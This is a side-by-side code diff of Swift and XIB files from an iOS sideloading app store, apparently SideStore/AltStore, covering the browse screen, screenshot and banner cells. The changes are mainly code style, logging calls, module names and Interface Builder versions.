dataSource.cellConfigurationHandler = { cell, _, _ in dataSource.cellConfigurationHandler = { (cell, screenshot, indexPath) in
let cell = cell as! ScreenshotCollectionViewCell let cell = cell as! ScreenshotCollectionViewCell
cell.imageView.image = nil cell.imageView.image = nil
cell.imageView.isIndicatingActivity = true cell.imageView.isIndicatingActivity = true
} }
dataSource.prefetchHandler = { imageURL, _, completionHandler in dataSource.prefetchHandler = { (imageURL, indexPath, completionHandler) in
RSTAsyncBlockOperation { operation in return RSTAsyncBlockOperation() { (operation) in
let request = ImageRequest(url: imageURL as URL, processor: .screenshot) let request = ImageRequest(url: imageURL as URL, processor: .screenshot)
ImagePipeline.shared.loadImage(with: request, progress: nil, completion: { response, error in ImagePipeline.shared.loadImage(with: request, progress: nil, completion: { (response, error) in
guard !operation.isCancelled else { return operation.finish() } guard !operation.isCancelled else { return operation.finish() }
if let image = response?.image { if let image = response?.image
{
completionHandler(image, nil) completionHandler(image, nil)
} else { }
else
{
completionHandler(nil, error) completionHandler(nil, error)
} }
}) })
} }
} }
dataSource.prefetchCompletionHandler = { cell, image, _, error in dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
let cell = cell as! ScreenshotCollectionViewCell let cell = cell as! ScreenshotCollectionViewCell
cell.imageView.isIndicatingActivity = false cell.imageView.isIndicatingActivity = false
cell.imageView.image = image cell.imageView.image = image
if let error = error { if let error = error
os_log("Error loading image: %@", type: .error , error.localizedDescription) {
print("Error loading image:", error)
} }
} }
@@ -80,8 +83,10 @@ private extension BrowseCollectionViewCell {
} }
} }
extension BrowseCollectionViewCell: UICollectionViewDelegateFlowLayout { extension BrowseCollectionViewCell: UICollectionViewDelegateFlowLayout
func collectionView(_ collectionView: UICollectionView, layout _: UICollectionViewLayout, sizeForItemAt _: IndexPath) -> CGSize { {
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, sizeForItemAt indexPath: IndexPath) -> CGSize
{
// Assuming 9.0 / 16.0 ratio for now. // Assuming 9.0 / 16.0 ratio for now.
let aspectRatio: CGFloat = 9.0 / 16.0 let aspectRatio: CGFloat = 9.0 / 16.0

View File

@@ -1,28 +1,27 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.XIB" version="3.0" toolsVersion="21507" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES"> <document type="com.apple.InterfaceBuilder3.CocoaTouch.XIB" version="3.0" toolsVersion="15400" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES">
<device id="retina6_1" orientation="portrait" appearance="light"/> <device id="retina6_1" orientation="portrait" appearance="light"/>
<dependencies> <dependencies>
<deployment identifier="iOS"/> <deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="21505"/> <plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="15404"/>
<capability name="System colors in document resources" minToolsVersion="11.0"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/> <capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies> </dependencies>
<objects> <objects>
<placeholder placeholderIdentifier="IBFilesOwner" id="-1" userLabel="File's Owner"/> <placeholder placeholderIdentifier="IBFilesOwner" id="-1" userLabel="File's Owner"/>
<placeholder placeholderIdentifier="IBFirstResponder" id="-2" customClass="UIResponder"/> <placeholder placeholderIdentifier="IBFirstResponder" id="-2" customClass="UIResponder"/>
<collectionViewCell opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" restorationIdentifier="browseCollectionViewCell" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Cell" id="ln4-pC-7KY" customClass="BrowseCollectionViewCell" customModule="SideStoreAppKit"> <collectionViewCell opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="Cell" id="ln4-pC-7KY" customClass="BrowseCollectionViewCell" customModule="AltStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="375" height="369"/> <rect key="frame" x="0.0" y="0.0" width="375" height="369"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
<view key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO"> <view key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO">
<rect key="frame" x="0.0" y="0.0" width="375" height="369"/> <rect key="frame" x="0.0" y="0.0" width="375" height="369"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<subviews> <subviews>
<stackView verifyAmbiguity="off" opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="15" translatesAutoresizingMaskIntoConstraints="NO" id="5gU-g3-Fsy"> <stackView verifyAmbiguity="off" opaque="NO" contentMode="scaleToFill" ambiguous="YES" axis="vertical" spacing="15" translatesAutoresizingMaskIntoConstraints="NO" id="5gU-g3-Fsy">
<rect key="frame" x="16" y="0.0" width="343" height="369"/> <rect key="frame" x="16" y="0.0" width="343" height="369"/>
<subviews> <subviews>
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="ziA-mP-AY2" customClass="AppBannerView" customModule="SideStoreAppKit"> <view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="ziA-mP-AY2" customClass="AppBannerView" customModule="AltStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="0.0" width="343" height="88"/> <rect key="frame" x="0.0" y="0.0" width="343" height="88"/>
<color key="backgroundColor" systemColor="systemBackgroundColor"/> <color key="backgroundColor" systemColor="systemBackgroundColor" cocoaTouchSystemColor="whiteColor"/>
<constraints> <constraints>
<constraint firstAttribute="height" constant="88" id="z3D-cI-jhp"/> <constraint firstAttribute="height" constant="88" id="z3D-cI-jhp"/>
</constraints> </constraints>
@@ -62,9 +61,4 @@
<point key="canvasLocation" x="136.95652173913044" y="152.67857142857142"/> <point key="canvasLocation" x="136.95652173913044" y="152.67857142857142"/>
</collectionViewCell> </collectionViewCell>
</objects> </objects>
<resources>
<systemColor name="systemBackgroundColor">
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</systemColor>
</resources>
</document> </document>

View File

@@ -8,16 +8,13 @@
import UIKit import UIKit
import SideStoreCore import AltStoreCore
import RoxasUIKit import Roxas
import OSLog
#if canImport(Logging)
import Logging
#endif
import Nuke import Nuke
class BrowseViewController: UICollectionViewController { class BrowseViewController: UICollectionViewController
{
private lazy var dataSource = self.makeDataSource() private lazy var dataSource = self.makeDataSource()
private lazy var placeholderView = RSTPlaceholderView(frame: .zero) private lazy var placeholderView = RSTPlaceholderView(frame: .zero)
@@ -25,7 +22,7 @@ class BrowseViewController: UICollectionViewController {
private var loadingState: LoadingState = .loading { private var loadingState: LoadingState = .loading {
didSet { didSet {
update() self.update()
} }
} }
@@ -33,42 +30,47 @@ class BrowseViewController: UICollectionViewController {
@IBOutlet private var sourcesBarButtonItem: UIBarButtonItem! @IBOutlet private var sourcesBarButtonItem: UIBarButtonItem!
override func viewDidLoad() { override func viewDidLoad()
{
super.viewDidLoad() super.viewDidLoad()
#if BETA #if BETA
dataSource.searchController.searchableKeyPaths = [#keyPath(InstalledApp.name)] self.dataSource.searchController.searchableKeyPaths = [#keyPath(InstalledApp.name)]
navigationItem.searchController = dataSource.searchController self.navigationItem.searchController = self.dataSource.searchController
#endif #endif
prototypeCell.contentView.translatesAutoresizingMaskIntoConstraints = false self.prototypeCell.contentView.translatesAutoresizingMaskIntoConstraints = false
collectionView.register(BrowseCollectionViewCell.nib, forCellWithReuseIdentifier: RSTCellContentGenericCellIdentifier) self.collectionView.register(BrowseCollectionViewCell.nib, forCellWithReuseIdentifier: RSTCellContentGenericCellIdentifier)
collectionView.dataSource = dataSource self.collectionView.dataSource = self.dataSource
collectionView.prefetchDataSource = dataSource self.collectionView.prefetchDataSource = self.dataSource
registerForPreviewing(with: self, sourceView: collectionView) self.registerForPreviewing(with: self, sourceView: self.collectionView)
update() self.update()
} }
override func viewWillAppear(_ animated: Bool) { override func viewWillAppear(_ animated: Bool)
{
super.viewWillAppear(animated) super.viewWillAppear(animated)
fetchSource() self.fetchSource()
updateDataSource() self.updateDataSource()
update() self.update()
} }
@IBAction private func unwindFromSourcesViewController(_: UIStoryboardSegue) { @IBAction private func unwindFromSourcesViewController(_ segue: UIStoryboardSegue)
fetchSource() {
self.fetchSource()
} }
} }
private extension BrowseViewController { private extension BrowseViewController
func makeDataSource() -> RSTFetchedResultsCollectionViewPrefetchingDataSource<StoreApp, UIImage> { {
func makeDataSource() -> RSTFetchedResultsCollectionViewPrefetchingDataSource<StoreApp, UIImage>
{
let fetchRequest = StoreApp.fetchRequest() as NSFetchRequest<StoreApp> let fetchRequest = StoreApp.fetchRequest() as NSFetchRequest<StoreApp>
fetchRequest.sortDescriptors = [NSSortDescriptor(keyPath: \StoreApp.sourceIdentifier, ascending: true), fetchRequest.sortDescriptors = [NSSortDescriptor(keyPath: \StoreApp.sourceIdentifier, ascending: true),
NSSortDescriptor(keyPath: \StoreApp.sortIndex, ascending: true), NSSortDescriptor(keyPath: \StoreApp.sortIndex, ascending: true),
@@ -78,7 +80,7 @@ private extension BrowseViewController {
fetchRequest.predicate = NSPredicate(format: "%K != %@", #keyPath(StoreApp.bundleIdentifier), StoreApp.altstoreAppID) fetchRequest.predicate = NSPredicate(format: "%K != %@", #keyPath(StoreApp.bundleIdentifier), StoreApp.altstoreAppID)
let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<StoreApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext) let dataSource = RSTFetchedResultsCollectionViewPrefetchingDataSource<StoreApp, UIImage>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
dataSource.cellConfigurationHandler = { cell, app, _ in dataSource.cellConfigurationHandler = { (cell, app, indexPath) in
let cell = cell as! BrowseCollectionViewCell let cell = cell as! BrowseCollectionViewCell
cell.layoutMargins.left = self.view.layoutMargins.left cell.layoutMargins.left = self.view.layoutMargins.left
cell.layoutMargins.right = self.view.layoutMargins.right cell.layoutMargins.right = self.view.layoutMargins.right
@@ -101,7 +103,8 @@ private extension BrowseViewController {
let tintColor = app.tintColor ?? .altPrimary let tintColor = app.tintColor ?? .altPrimary
cell.tintColor = tintColor cell.tintColor = tintColor
if app.installedApp == nil { if app.installedApp == nil
{
let buttonTitle = NSLocalizedString("Free", comment: "") let buttonTitle = NSLocalizedString("Free", comment: "")
cell.bannerView.button.setTitle(buttonTitle.uppercased(), for: .normal) cell.bannerView.button.setTitle(buttonTitle.uppercased(), for: .normal)
cell.bannerView.button.accessibilityLabel = String(format: NSLocalizedString("Download %@", comment: ""), app.name) cell.bannerView.button.accessibilityLabel = String(format: NSLocalizedString("Download %@", comment: ""), app.name)
@@ -110,12 +113,17 @@ private extension BrowseViewController {
let progress = AppManager.shared.installationProgress(for: app) let progress = AppManager.shared.installationProgress(for: app)
cell.bannerView.button.progress = progress cell.bannerView.button.progress = progress
if let versionDate = app.latestVersion?.date, versionDate > Date() { if let versionDate = app.latestVersion?.date, versionDate > Date()
{
cell.bannerView.button.countdownDate = app.versionDate cell.bannerView.button.countdownDate = app.versionDate
} else { }
else
{
cell.bannerView.button.countdownDate = nil cell.bannerView.button.countdownDate = nil
} }
} else { }
else
{
cell.bannerView.button.setTitle(NSLocalizedString("OPEN", comment: ""), for: .normal) cell.bannerView.button.setTitle(NSLocalizedString("OPEN", comment: ""), for: .normal)
cell.bannerView.button.accessibilityLabel = String(format: NSLocalizedString("Open %@", comment: ""), app.name) cell.bannerView.button.accessibilityLabel = String(format: NSLocalizedString("Open %@", comment: ""), app.name)
cell.bannerView.button.accessibilityValue = nil cell.bannerView.button.accessibilityValue = nil
@@ -123,59 +131,72 @@ private extension BrowseViewController {
cell.bannerView.button.countdownDate = nil cell.bannerView.button.countdownDate = nil
} }
} }
dataSource.prefetchHandler = { storeApp, _, completionHandler -> Foundation.Operation? in dataSource.prefetchHandler = { (storeApp, indexPath, completionHandler) -> Foundation.Operation? in
let iconURL = storeApp.iconURL let iconURL = storeApp.iconURL
return RSTAsyncBlockOperation { operation in return RSTAsyncBlockOperation() { (operation) in
ImagePipeline.shared.loadImage(with: iconURL, progress: nil, completion: { response, error in ImagePipeline.shared.loadImage(with: iconURL, progress: nil, completion: { (response, error) in
guard !operation.isCancelled else { return operation.finish() } guard !operation.isCancelled else { return operation.finish() }
if let image = response?.image { if let image = response?.image
{
completionHandler(image, nil) completionHandler(image, nil)
} else { }
else
{
completionHandler(nil, error) completionHandler(nil, error)
} }
}) })
} }
} }
dataSource.prefetchCompletionHandler = { cell, image, _, error in dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
let cell = cell as! BrowseCollectionViewCell let cell = cell as! BrowseCollectionViewCell
cell.bannerView.iconImageView.isIndicatingActivity = false cell.bannerView.iconImageView.isIndicatingActivity = false
cell.bannerView.iconImageView.image = image cell.bannerView.iconImageView.image = image
if let error = error { if let error = error
os_log("Error loading image: %@", type: .error , error.localizedDescription) {
print("Error loading image:", error)
} }
} }
dataSource.placeholderView = placeholderView dataSource.placeholderView = self.placeholderView
return dataSource return dataSource
} }
func updateDataSource() { func updateDataSource()
dataSource.predicate = nil {
self.dataSource.predicate = nil
} }
func fetchSource() { func fetchSource()
loadingState = .loading {
self.loadingState = .loading
AppManager.shared.fetchSources { result in AppManager.shared.fetchSources() { (result) in
do { do
do { {
do
{
let (_, context) = try result.get() let (_, context) = try result.get()
try context.save() try context.save()
DispatchQueue.main.async { DispatchQueue.main.async {
self.loadingState = .finished(.success(())) self.loadingState = .finished(.success(()))
} }
} catch let error as AppManager.FetchSourcesError { }
catch let error as AppManager.FetchSourcesError
{
try error.managedObjectContext?.save() try error.managedObjectContext?.save()
throw error throw error
} }
} catch { }
catch
{
DispatchQueue.main.async { DispatchQueue.main.async {
if self.dataSource.itemCount > 0 { if self.dataSource.itemCount > 0
{
let toastView = ToastView(error: error) let toastView = ToastView(error: error)
toastView.addTarget(nil, action: #selector(TabBarController.presentSources), for: .touchUpInside) toastView.addTarget(nil, action: #selector(TabBarController.presentSources), for: .touchUpInside)
toastView.show(in: self) toastView.show(in: self)
@@ -187,140 +208,157 @@ private extension BrowseViewController {
} }
} }
func update() { func update()
switch loadingState { {
switch self.loadingState
{
case .loading: case .loading:
placeholderView.textLabel.isHidden = true self.placeholderView.textLabel.isHidden = true
placeholderView.detailTextLabel.isHidden = false self.placeholderView.detailTextLabel.isHidden = false
placeholderView.detailTextLabel.text = NSLocalizedString("Loading...", comment: "") self.placeholderView.detailTextLabel.text = NSLocalizedString("Loading...", comment: "")
placeholderView.activityIndicatorView.startAnimating() self.placeholderView.activityIndicatorView.startAnimating()
case let .finished(.failure(error)): case .finished(.failure(let error)):
placeholderView.textLabel.isHidden = false self.placeholderView.textLabel.isHidden = false
placeholderView.detailTextLabel.isHidden = false self.placeholderView.detailTextLabel.isHidden = false
placeholderView.textLabel.text = NSLocalizedString("Unable to Fetch Apps", comment: "") self.placeholderView.textLabel.text = NSLocalizedString("Unable to Fetch Apps", comment: "")
placeholderView.detailTextLabel.text = error.localizedDescription self.placeholderView.detailTextLabel.text = error.localizedDescription
placeholderView.activityIndicatorView.stopAnimating() self.placeholderView.activityIndicatorView.stopAnimating()
case .finished(.success): case .finished(.success):
placeholderView.textLabel.isHidden = true self.placeholderView.textLabel.isHidden = true
placeholderView.detailTextLabel.isHidden = true self.placeholderView.detailTextLabel.isHidden = true
placeholderView.activityIndicatorView.stopAnimating() self.placeholderView.activityIndicatorView.stopAnimating()
} }
} }
} }
private extension BrowseViewController { private extension BrowseViewController
@IBAction func performAppAction(_ sender: PillButton) { {
let point = collectionView.convert(sender.center, from: sender.superview) @IBAction func performAppAction(_ sender: PillButton)
guard let indexPath = collectionView.indexPathForItem(at: point) else { return } {
let point = self.collectionView.convert(sender.center, from: sender.superview)
guard let indexPath = self.collectionView.indexPathForItem(at: point) else { return }
let app = dataSource.item(at: indexPath) let app = self.dataSource.item(at: indexPath)
if let installedApp = app.installedApp { if let installedApp = app.installedApp
open(installedApp) {
} else { self.open(installedApp)
install(app, at: indexPath) }
else
{
self.install(app, at: indexPath)
} }
} }
func install(_ app: StoreApp, at indexPath: IndexPath) { func install(_ app: StoreApp, at indexPath: IndexPath)
{
let previousProgress = AppManager.shared.installationProgress(for: app) let previousProgress = AppManager.shared.installationProgress(for: app)
guard previousProgress == nil else { guard previousProgress == nil else {
previousProgress?.cancel() previousProgress?.cancel()
return return
} }
_ = AppManager.shared.install(app, presentingViewController: self) { result in _ = AppManager.shared.install(app, presentingViewController: self) { (result) in
DispatchQueue.main.async { DispatchQueue.main.async {
switch result { switch result
{
case .failure(OperationError.cancelled): break // Ignore case .failure(OperationError.cancelled): break // Ignore
case let .failure(error): case .failure(let error):
let toastView = ToastView(error: error) let toastView = ToastView(error: error)
toastView.show(in: self) toastView.show(in: self)
case .success: os_log("Installed app: %@", type: .info , app.bundleIdentifier) case .success: print("Installed app:", app.bundleIdentifier)
} }
self.collectionView.reloadItems(at: [indexPath]) self.collectionView.reloadItems(at: [indexPath])
} }
} }
collectionView.reloadItems(at: [indexPath]) self.collectionView.reloadItems(at: [indexPath])
} }
func open(_ installedApp: InstalledApp) { func open(_ installedApp: InstalledApp)
{
UIApplication.shared.open(installedApp.openAppURL) UIApplication.shared.open(installedApp.openAppURL)
} }
} }
extension BrowseViewController: UICollectionViewDelegateFlowLayout { extension BrowseViewController: UICollectionViewDelegateFlowLayout
func collectionView(_ collectionView: UICollectionView, layout _: UICollectionViewLayout, sizeForItemAt indexPath: IndexPath) -> CGSize { {
let item = dataSource.item(at: indexPath) func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, sizeForItemAt indexPath: IndexPath) -> CGSize
{
let item = self.dataSource.item(at: indexPath)
if let previousSize = cachedItemSizes[item.bundleIdentifier] { if let previousSize = self.cachedItemSizes[item.bundleIdentifier]
{
return previousSize return previousSize
} }
let maxVisibleScreenshots = 2 as CGFloat let maxVisibleScreenshots = 2 as CGFloat
let aspectRatio: CGFloat = 16.0 / 9.0 let aspectRatio: CGFloat = 16.0 / 9.0
let layout = prototypeCell.screenshotsCollectionView.collectionViewLayout as! UICollectionViewFlowLayout let layout = self.prototypeCell.screenshotsCollectionView.collectionViewLayout as! UICollectionViewFlowLayout
let padding = (layout.minimumInteritemSpacing * (maxVisibleScreenshots - 1)) + layout.sectionInset.left + layout.sectionInset.right let padding = (layout.minimumInteritemSpacing * (maxVisibleScreenshots - 1)) + layout.sectionInset.left + layout.sectionInset.right
dataSource.cellConfigurationHandler(prototypeCell, item, indexPath) self.dataSource.cellConfigurationHandler(self.prototypeCell, item, indexPath)
let widthConstraint = prototypeCell.contentView.widthAnchor.constraint(equalToConstant: collectionView.bounds.width) let widthConstraint = self.prototypeCell.contentView.widthAnchor.constraint(equalToConstant: collectionView.bounds.width)
widthConstraint.isActive = true widthConstraint.isActive = true
defer { widthConstraint.isActive = false } defer { widthConstraint.isActive = false }
// Manually update cell width & layout so we can accurately calculate screenshot sizes. // Manually update cell width & layout so we can accurately calculate screenshot sizes.
prototypeCell.frame.size.width = widthConstraint.constant self.prototypeCell.frame.size.width = widthConstraint.constant
prototypeCell.layoutIfNeeded() self.prototypeCell.layoutIfNeeded()
let collectionViewWidth = prototypeCell.screenshotsCollectionView.bounds.width let collectionViewWidth = self.prototypeCell.screenshotsCollectionView.bounds.width
let screenshotWidth = ((collectionViewWidth - padding) / maxVisibleScreenshots).rounded(.down) let screenshotWidth = ((collectionViewWidth - padding) / maxVisibleScreenshots).rounded(.down)
let screenshotHeight = screenshotWidth * aspectRatio let screenshotHeight = screenshotWidth * aspectRatio
let heightConstraint = prototypeCell.screenshotsCollectionView.heightAnchor.constraint(equalToConstant: screenshotHeight) let heightConstraint = self.prototypeCell.screenshotsCollectionView.heightAnchor.constraint(equalToConstant: screenshotHeight)
heightConstraint.priority = .defaultHigh // Prevent temporary unsatisfiable constraints error. heightConstraint.priority = .defaultHigh // Prevent temporary unsatisfiable constraints error.
heightConstraint.isActive = true heightConstraint.isActive = true
defer { heightConstraint.isActive = false } defer { heightConstraint.isActive = false }
let itemSize = prototypeCell.contentView.systemLayoutSizeFitting(UIView.layoutFittingCompressedSize) let itemSize = self.prototypeCell.contentView.systemLayoutSizeFitting(UIView.layoutFittingCompressedSize)
cachedItemSizes[item.bundleIdentifier] = itemSize self.cachedItemSizes[item.bundleIdentifier] = itemSize
return itemSize return itemSize
} }
override func collectionView(_: UICollectionView, didSelectItemAt indexPath: IndexPath) { override func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath)
let app = dataSource.item(at: indexPath) {
let app = self.dataSource.item(at: indexPath)
let appViewController = AppViewController.makeAppViewController(app: app) let appViewController = AppViewController.makeAppViewController(app: app)
navigationController?.pushViewController(appViewController, animated: true) self.navigationController?.pushViewController(appViewController, animated: true)
} }
} }
extension BrowseViewController: UIViewControllerPreviewingDelegate { extension BrowseViewController: UIViewControllerPreviewingDelegate
func previewingContext(_ previewingContext: UIViewControllerPreviewing, viewControllerForLocation location: CGPoint) -> UIViewController? { {
func previewingContext(_ previewingContext: UIViewControllerPreviewing, viewControllerForLocation location: CGPoint) -> UIViewController?
{
guard guard
let indexPath = collectionView.indexPathForItem(at: location), let indexPath = self.collectionView.indexPathForItem(at: location),
let cell = collectionView.cellForItem(at: indexPath) let cell = self.collectionView.cellForItem(at: indexPath)
else { return nil } else { return nil }
previewingContext.sourceRect = cell.frame previewingContext.sourceRect = cell.frame
let app = dataSource.item(at: indexPath) let app = self.dataSource.item(at: indexPath)
let appViewController = AppViewController.makeAppViewController(app: app) let appViewController = AppViewController.makeAppViewController(app: app)
return appViewController return appViewController
} }
func previewingContext(_: UIViewControllerPreviewing, commit viewControllerToCommit: UIViewController) { func previewingContext(_ previewingContext: UIViewControllerPreviewing, commit viewControllerToCommit: UIViewController)
navigationController?.pushViewController(viewControllerToCommit, animated: true) {
self.navigationController?.pushViewController(viewControllerToCommit, animated: true)
} }
} }

View File

@@ -0,0 +1,44 @@
//
// ScreenshotCollectionViewCell.swift
// AltStore
//
// Created by Riley Testut on 7/15/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
import UIKit
import Roxas
@objc(ScreenshotCollectionViewCell)
class ScreenshotCollectionViewCell: UICollectionViewCell
{
let imageView = UIImageView(image: nil)
override init(frame: CGRect)
{
super.init(frame: frame)
self.initialize()
}
required init?(coder aDecoder: NSCoder)
{
super.init(coder: aDecoder)
self.initialize()
}
private func initialize()
{
self.imageView.layer.masksToBounds = true
self.addSubview(self.imageView, pinningEdgesWith: .zero)
}
override func layoutSubviews()
{
super.layoutSubviews()
self.imageView.layer.cornerRadius = 4
}
}

View File

@@ -0,0 +1,144 @@
//
// AppBannerView.swift
// AltStore
//
// Created by Riley Testut on 8/29/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
import UIKit
import AltStoreCore
import Roxas
class AppBannerView: RSTNibView
{
override var accessibilityLabel: String? {
get { return self.accessibilityView?.accessibilityLabel }
set { self.accessibilityView?.accessibilityLabel = newValue }
}
override open var accessibilityAttributedLabel: NSAttributedString? {
get { return self.accessibilityView?.accessibilityAttributedLabel }
set { self.accessibilityView?.accessibilityAttributedLabel = newValue }
}
override var accessibilityValue: String? {
get { return self.accessibilityView?.accessibilityValue }
set { self.accessibilityView?.accessibilityValue = newValue }
}
override open var accessibilityAttributedValue: NSAttributedString? {
get { return self.accessibilityView?.accessibilityAttributedValue }
set { self.accessibilityView?.accessibilityAttributedValue = newValue }
}
override open var accessibilityTraits: UIAccessibilityTraits {
get { return self.accessibilityView?.accessibilityTraits ?? [] }
set { self.accessibilityView?.accessibilityTraits = newValue }
}
private var originalTintColor: UIColor?
@IBOutlet var titleLabel: UILabel!
@IBOutlet var subtitleLabel: UILabel!
@IBOutlet var iconImageView: AppIconImageView!
@IBOutlet var button: PillButton!
@IBOutlet var buttonLabel: UILabel!
@IBOutlet var betaBadgeView: UIView!
@IBOutlet var backgroundEffectView: UIVisualEffectView!
@IBOutlet private var vibrancyView: UIVisualEffectView!
@IBOutlet private var accessibilityView: UIView!
override init(frame: CGRect)
{
super.init(frame: frame)
self.initialize()
}
required init?(coder: NSCoder)
{
super.init(coder: coder)
self.initialize()
}
private func initialize()
{
self.accessibilityView.accessibilityTraits.formUnion(.button)
self.isAccessibilityElement = false
self.accessibilityElements = [self.accessibilityView, self.button].compactMap { $0 }
self.betaBadgeView.isHidden = true
}
override func tintColorDidChange()
{
super.tintColorDidChange()
if self.tintAdjustmentMode != .dimmed
{
self.originalTintColor = self.tintColor
}
self.update()
}
}
extension AppBannerView
{
func configure(for app: AppProtocol)
{
struct AppValues
{
var name: String
var developerName: String? = nil
var isBeta: Bool = false
init(app: AppProtocol)
{
self.name = app.name
guard let storeApp = (app as? StoreApp) ?? (app as? InstalledApp)?.storeApp else { return }
self.developerName = storeApp.developerName
if storeApp.isBeta
{
self.name = String(format: NSLocalizedString("%@ beta", comment: ""), app.name)
self.isBeta = true
}
}
}
let values = AppValues(app: app)
self.titleLabel.text = app.name // Don't use values.name since that already includes "beta".
self.betaBadgeView.isHidden = !values.isBeta
if let developerName = values.developerName
{
self.subtitleLabel.text = developerName
self.accessibilityLabel = String(format: NSLocalizedString("%@ by %@", comment: ""), values.name, developerName)
}
else
{
self.subtitleLabel.text = NSLocalizedString("Sideloaded", comment: "")
self.accessibilityLabel = values.name
}
}
}
private extension AppBannerView
{
func update()
{
self.clipsToBounds = true
self.layer.cornerRadius = 22
self.subtitleLabel.textColor = self.originalTintColor ?? self.tintColor
self.backgroundEffectView.backgroundColor = self.originalTintColor ?? self.tintColor
}
}

View File

@@ -1,15 +1,15 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.XIB" version="3.0" toolsVersion="21507" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES"> <document type="com.apple.InterfaceBuilder3.CocoaTouch.XIB" version="3.0" toolsVersion="17154" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES">
<device id="retina6_1" orientation="portrait" appearance="light"/> <device id="retina6_1" orientation="portrait" appearance="light"/>
<dependencies> <dependencies>
<deployment identifier="iOS"/> <deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="21505"/> <plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="17124"/>
<capability name="Named colors" minToolsVersion="9.0"/> <capability name="Named colors" minToolsVersion="9.0"/>
<capability name="System colors in document resources" minToolsVersion="11.0"/> <capability name="System colors in document resources" minToolsVersion="11.0"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/> <capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies> </dependencies>
<objects> <objects>
<placeholder placeholderIdentifier="IBFilesOwner" id="-1" userLabel="File's Owner" customClass="AppBannerView" customModule="SideStoreAppKit"> <placeholder placeholderIdentifier="IBFilesOwner" id="-1" userLabel="File's Owner" customClass="AppBannerView" customModule="AltStore" customModuleProvider="target">
<connections> <connections>
<outlet property="accessibilityView" destination="bJL-Yw-i4u" id="PWe-tw-jDA"/> <outlet property="accessibilityView" destination="bJL-Yw-i4u" id="PWe-tw-jDA"/>
<outlet property="backgroundEffectView" destination="rZk-be-tiI" id="fzU-VT-JeW"/> <outlet property="backgroundEffectView" destination="rZk-be-tiI" id="fzU-VT-JeW"/>
@@ -23,7 +23,7 @@
</connections> </connections>
</placeholder> </placeholder>
<placeholder placeholderIdentifier="IBFirstResponder" id="-2" customClass="UIResponder"/> <placeholder placeholderIdentifier="IBFirstResponder" id="-2" customClass="UIResponder"/>
<view opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" restorationIdentifier="appBannerView" insetsLayoutMarginsFromSafeArea="NO" id="FxI-Fh-ll5"> <view opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" id="FxI-Fh-ll5">
<rect key="frame" x="0.0" y="0.0" width="375" height="88"/> <rect key="frame" x="0.0" y="0.0" width="375" height="88"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews> <subviews>
@@ -46,7 +46,7 @@
<stackView opaque="NO" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" alignment="center" spacing="11" translatesAutoresizingMaskIntoConstraints="NO" id="d1T-UD-gWG" userLabel="App Info"> <stackView opaque="NO" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" alignment="center" spacing="11" translatesAutoresizingMaskIntoConstraints="NO" id="d1T-UD-gWG" userLabel="App Info">
<rect key="frame" x="0.0" y="0.0" width="375" height="88"/> <rect key="frame" x="0.0" y="0.0" width="375" height="88"/>
